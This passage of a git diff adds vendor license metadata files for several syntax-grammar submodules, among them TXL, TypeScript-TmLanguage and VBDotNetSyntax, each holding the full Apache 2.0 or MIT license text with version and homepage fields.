+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Clams
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/TLA.dep.yml b/vendor/licenses/git_submodule/TLA.dep.yml
new file mode 100644
index 0000000000..c8826c8fde
--- /dev/null
+++ b/vendor/licenses/git_submodule/TLA.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: TLA
+version: a67cbd03099df412db00cae78d23c836b79ebc2b
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016 J Kenneth King
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/TXL.dep.yml b/vendor/licenses/git_submodule/TXL.dep.yml
new file mode 100644
index 0000000000..ac58f729b3
--- /dev/null
+++ b/vendor/licenses/git_submodule/TXL.dep.yml
@@ -0,0 +1,213 @@
+---
+name: TXL
+version: 614cf836497338efb87909ce54700b2e18c9fa04
+type: git_submodule
+homepage: https://github.com/MikeHoffert/Sublime-Text-TXL-syntax
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |+
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright {yyyy} {name of copyright owner}
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/Textmate-Gosu-Bundle.dep.yml b/vendor/licenses/git_submodule/Textmate-Gosu-Bundle.dep.yml
new file mode 100644
index 0000000000..10609747db
--- /dev/null
+++ b/vendor/licenses/git_submodule/Textmate-Gosu-Bundle.dep.yml
@@ -0,0 +1,211 @@
+---
+name: Textmate-Gosu-Bundle
+version: c0e36a01ba2c82d87fd6623481fbb57a5055b376
+type: git_submodule
+homepage: https://github.com/jpcamara/Textmate-Gosu-Bundle
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 JP Camara
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/TypeScript-TmLanguage.dep.yml b/vendor/licenses/git_submodule/TypeScript-TmLanguage.dep.yml
new file mode 100644
index 0000000000..1aaa009908
--- /dev/null
+++ b/vendor/licenses/git_submodule/TypeScript-TmLanguage.dep.yml
@@ -0,0 +1,32 @@
+---
+name: TypeScript-TmLanguage
+version: cf54fc5a03112062713540a8b7d85a4ecfd34eb3
+type: git_submodule
+homepage: https://github.com/Microsoft/TypeScript-TmLanguage
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    Copyright (c) Microsoft Corporation
+    All rights reserved.
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/UrWeb-Language-Definition.dep.yml b/vendor/licenses/git_submodule/UrWeb-Language-Definition.dep.yml
new file mode 100644
index 0000000000..47cbaebd2e
--- /dev/null
+++ b/vendor/licenses/git_submodule/UrWeb-Language-Definition.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: UrWeb-Language-Definition
+version: cd47cc78918244b9cc36f57f5397a97a5affce4e
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2013 Sean James
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/VBDotNetSyntax.dep.yml b/vendor/licenses/git_submodule/VBDotNetSyntax.dep.yml
new file mode 100644
index 0000000000..a58a1584f3
--- /dev/null
+++ b/vendor/licenses/git_submodule/VBDotNetSyntax.dep.yml
@@ -0,0 +1,211 @@
+---
+name: VBDotNetSyntax
+version: efaa4187fe75634c0f01c294c0d9624d141cd649
+type: git_submodule
+homepage: https://github.com/angryant0007/VBDotNetSyntax
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
